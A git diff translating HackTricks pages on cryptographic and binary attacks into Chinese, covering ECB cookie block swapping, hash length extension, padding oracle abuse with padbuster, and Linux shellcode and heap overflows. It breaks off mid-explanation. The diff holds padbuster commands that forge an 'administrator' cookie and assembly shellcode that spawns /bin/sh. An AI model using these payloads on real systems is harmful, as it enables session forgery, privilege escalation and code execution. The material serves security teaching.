漏洞检测 -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +想象一下,你多次登录一个应用程序,并且**总是得到相同的cookie**。这是因为该应用程序的cookie是**`|`**。\ +然后,你生成两个新用户,他们都有**相同的长密码**和**几乎相同的** **用户名**。\ +你发现**8B的块**中**两个用户的信息**是**相同的**。然后,你想象这可能是因为**正在使用ECB**。 +如以下示例所示。观察这**两个解码的cookie**中有几次块**`\x23U\xE45K\xCB\x21\xC8`**。 ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +这是因为这些 cookie 的 **用户名和密码包含了多次字母 "a"**(例如)。**不同的** **块** 是包含 **至少 1 个不同字符** 的块(可能是分隔符 "|" 或用户名中的某些必要差异)。 -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +现在,攻击者只需发现格式是 `` 还是 ``。为此,他可以 **生成多个相似且较长的用户名和密码,直到找到格式和分隔符的长度:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| 用户名长度: | 密码长度: | 用户名+密码长度: | Cookie 的长度(解码后): | +| ------------ | ---------- | ----------------- | ------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# 漏洞利用 -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## 移除整个块 +知道 cookie 的格式(`|`),为了冒充用户名 `admin`,创建一个名为 `aaaaaaaaadmin` 的新用户并获取 cookie 并解码它: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +我们可以看到之前用仅包含 `a` 的用户名创建的模式 `\x23U\xE45K\xCB\x21\xC8`。\ +然后,您可以删除第一个 8B 块,您将获得一个有效的用户名 `admin` 的 cookie: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## 移动块 -## Moving blocks +在许多数据库中,搜索 `WHERE username='admin';` 或 `WHERE username='admin ';` 是一样的 _(注意额外的空格)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +因此,冒充用户 `admin` 的另一种方法是: -So, another way to impersonate the user `admin` would be to: +- 生成一个用户名:`len() + len(` 将生成 2 个 8B 的块。 +- 然后,生成一个密码,填充包含我们想要冒充的用户名和空格的确切块数,例如:`admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +该用户的 cookie 将由 3 个块组成:前 2 个是用户名 + 分隔符的块,第三个是密码(伪装成用户名):`username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**然后,只需用最后一个块替换第一个块,就可以冒充用户 `admin`:`admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## 参考 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..1940a74b2 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# 攻击总结 -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **秘密的长度**(这也可以从给定的长度范围进行暴力破解) +- **明文数据** +- **算法(并且它对这种攻击是脆弱的)** +- **填充是已知的** +- 通常使用默认填充,因此如果满足其他三个要求,这也是 +- 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度 -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。 -## How? +## 如何? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**对其进行哈希**。 -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\ +如果攻击者想要附加字符串“append”,他可以: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 生成64个“A”的MD5 +- 将之前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b +- 附加字符串“append” +- 完成哈希,结果哈希将是“secret” + “data” + “padding” + “append”的**有效哈希** -## **Tool** +## **工具** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## 参考 -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..054e8ee63 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} +# CBC - 密码块链接 -# CBC - Cipher Block Chaining - -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +要解密 CBC,需进行**相反的** **操作**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +注意需要使用**加密** **密钥**和**IV**。 -# Message Padding +# 消息填充 -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\ +通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。 -Let's look at more examples with a **2 blocks of length 8bytes**: +让我们看更多的例子,使用**2 个长度为 8 字节的块**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。 -# Padding Oracle +# 填充 oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +当应用程序解密加密数据时,它会首先解密数据;然后会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。 -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +如果你检测到这种行为,你可以**解密加密数据**,甚至**加密任何明文**。 -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## 如何利用 +你可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者直接进行 ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +为了测试一个网站的cookie是否存在漏洞,你可以尝试: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**编码 0** 意味着使用 **base64**(但还有其他可用的编码,请查看帮助菜单)。 -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +如果网站存在漏洞,`padbuster`将自动尝试查找何时发生填充错误,但您也可以使用**-error**参数指示错误消息。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## 理论 -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**总结**来说,您可以通过猜测可以用于创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。 ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +想象一下,您有一些加密文本,占据**2个块**,由**E0到E15**的字节组成。\ +为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\ +最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。因此: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。 -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +这个暴力破解与之前的复杂度相同,因为可以计算出值为0x02的`E''15`:`E''7 = \x02 ^ I15`,因此只需找到生成**`C14`等于`0x02`的**`E'14`。\ +然后,按照相同的步骤解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**按照这个链条,直到您解密整个加密文本。** -## Detection of the vulnerability +## 漏洞检测 -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +注册一个账户并使用该账户登录。\ +如果您**多次登录**并始终获得**相同的cookie**,那么应用程序中可能**存在问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能始终有效,并且**无法使其失效**。 -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +现在,如果您尝试**修改**该**cookie**,您会看到应用程序返回一个**错误**。\ +但是,如果您暴力破解填充(例如使用padbuster),您可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。 -## References +## 参考 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..da841ca5b 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。 -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..238ffc3b1 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# 邮件漏洞 {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..75de77bd0 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +查看内核中断: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; 清空 eax\ +xor ebx, ebx ; ebx = 0 因为没有参数要传\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; 执行系统调用 -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> 返回一个 .o 文件\ +**ld assembly.o -o shellcodeout** —> 生成一个由汇编代码组成的可执行文件,并可以使用 **objdump** 提取操作码\ +**objdump -d -Mintel ./shellcodeout** —> 查看它确实是我们的 shellcode 并提取 OpCodes +**检查 shellcode 是否有效** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +为了查看系统调用是否正确执行,需要编译上述程序,并且系统调用应出现在 **strace ./PROGRAMA_COMPILADO** -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +在创建 shellcodes 时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将 EIP 放入栈中。在调用指令之后,我们放入所需的字符串,因此通过这个 EIP,我们可以指向字符串并继续执行代码。 +EJ **技巧 (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**EJ 使用 Stack(/bin/sh):** ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +由一小段代码组成,该代码遍历与进程关联的内存页面,以寻找存储在其中的 shellcode(查找 shellcode 中的某个签名)。在仅有小空间注入代码的情况下非常有用。 **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +由加密的 shells 组成,这些 shells 具有一小段代码用于解密并跳转到它,使用 Call-Pop 技巧,这将是一个 **ejemplo cifrado cesar**: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5.补充方法** -## **5.Métodos complementarios** +**Murat技术** -**Técnica de Murat** +在linux中,所有程序的映射从0xbfffffff开始。 -En linux todos los progamas se mapean comenzando en 0xbfffffff +通过观察linux中新进程的堆栈构建方式,可以开发一个利用程序,使得程序在一个唯一变量为shellcode的环境中启动。这个地址可以计算为:addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +这样就可以简单地获得包含shellcode的环境变量的地址。 -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +这得益于execle函数允许创建一个只包含所需环境变量的环境。 ## @@ -138,126 +128,126 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### -### **Format Strings to Buffer Overflows** +### **格式字符串导致缓冲区溢出** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +**sprintf**将格式化字符串**移动**到**变量**中。因此,您可以滥用字符串的**格式**来导致**变量中的缓冲区溢出**。\ +例如,负载`%.44xAAAA`将**在变量中写入44B+"AAAA"**,这可能导致缓冲区溢出。 -### **\_\_atexit Structures** +### **\_\_atexit结构** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> 现在利用这个是非常**奇怪的**。 -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`**是一个函数,**其他函数作为参数传递给它**。这些**函数**将在执行**`exit()`**或**main**的**返回**时被**执行**。\ +如果您可以**修改**这些**函数**的**地址**以指向shellcode,例如,您将**获得对**该**进程的控制**,但这目前更复杂。\ +目前要执行的**函数地址**被**隐藏**在多个结构后面,最终指向的地址不是函数的地址,而是**用XOR加密**和用**随机密钥**进行位移。因此,目前这个攻击向量在x86和x64_86上**不是很有用**。\ +**加密函数**是**`PTR_MANGLE`**。**其他架构**如m68k、mips32、mips64、aarch64、arm、hppa...**不实现加密**函数,因为它**返回与输入相同**。因此,这些架构可以通过这个向量进行攻击。 ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> 现在利用这个是非常**奇怪的**。 -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`setjmp()`**允许**保存****上下文**(寄存器)\ +**`longjmp()`**允许**恢复****上下文**。\ +**保存的寄存器**是:`EBX, ESI, EDI, ESP, EIP, EBP`\ +发生的情况是EIP和ESP通过**`PTR_MANGLE`**函数传递,因此**易受此攻击的架构与上述相同**。\ +它们对于错误恢复或中断很有用。\ +然而,根据我所读到的,其他寄存器没有受到保护,**因此如果在被调用的函数内部有`call ebx`、`call esi`或`call edi`**,则可以控制。或者您也可以修改EBP以修改ESP。 -**VTable y VPTR en C++** +**C++中的VTable和VPTR** -Each class has a **Vtable** which is an array of **pointers to methods**. +每个类都有一个**Vtable**,它是一个**指向方法的指针数组**。 -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +每个**类**的对象都有一个**VPtr**,它是指向其类数组的**指针**。VPtr是每个对象的头部的一部分,因此如果实现了**VPtr的覆盖**,则可以**修改**为**指向**一个虚拟方法,以便执行一个函数将转到shellcode。 -## **Medidas preventivas y evasiones** +## **预防措施和规避** ### -**Reemplazo de Libsafe** +**Libsafe替换** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ +通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2\ +或\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +它拦截对某些不安全函数的调用,替换为安全的函数。没有标准化。(仅适用于x86,不适用于使用-fomit-frame-pointer的编译,不适用于静态编译,并非所有易受攻击的函数都变得安全,LD_PRELOAD在具有suid的二进制文件中无效)。 -**ASCII Armored Address Space** +**ASCII装甲地址空间** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +它涉及将共享库加载到0x00000000到0x00ffffff之间,以确保始终有一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在小端模式下。 **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +它涉及执行ROP,以便调用strcpy@plt(来自plt)并指向GOT的入口,并将要调用的函数的第一个字节复制到那里(system())。接下来,做同样的事情,指向GOT+1并复制system()的第二个字节……最后调用保存在GOT中的地址,这将是system()。 -**Jaulas con chroot()** +**使用chroot()的监狱** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统 -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +管理员可以通过以下方式退出这些监狱:mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**代码插装** -Valgrind —> Busca errores\ +Valgrind —> 查找错误\ Memcheck\ -RAD (Return Address Defender)\ +RAD(返回地址防御者)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 堆溢出:基本利用** -**Trozo asignado** +**分配块** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —头部\ +\*mem | 数据 -**Trozo libre** +**空闲块** prev_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | 前向块指针\ +\*bk | 后向块指针 —头部\ +\*mem | 数据 -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +空闲块在一个双向链表(bin)中,且不能有两个空闲块相邻(会合并)。 -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +在“size”中有位表示:如果前一个块正在使用,如果块是通过mmap()分配的,以及块是否属于主arena。 -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +如果释放一个块时,任何相邻块是空闲的,这些块将通过宏unlink()合并,并将新的更大的块传递给frontlink()以插入适当的bin。 unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo 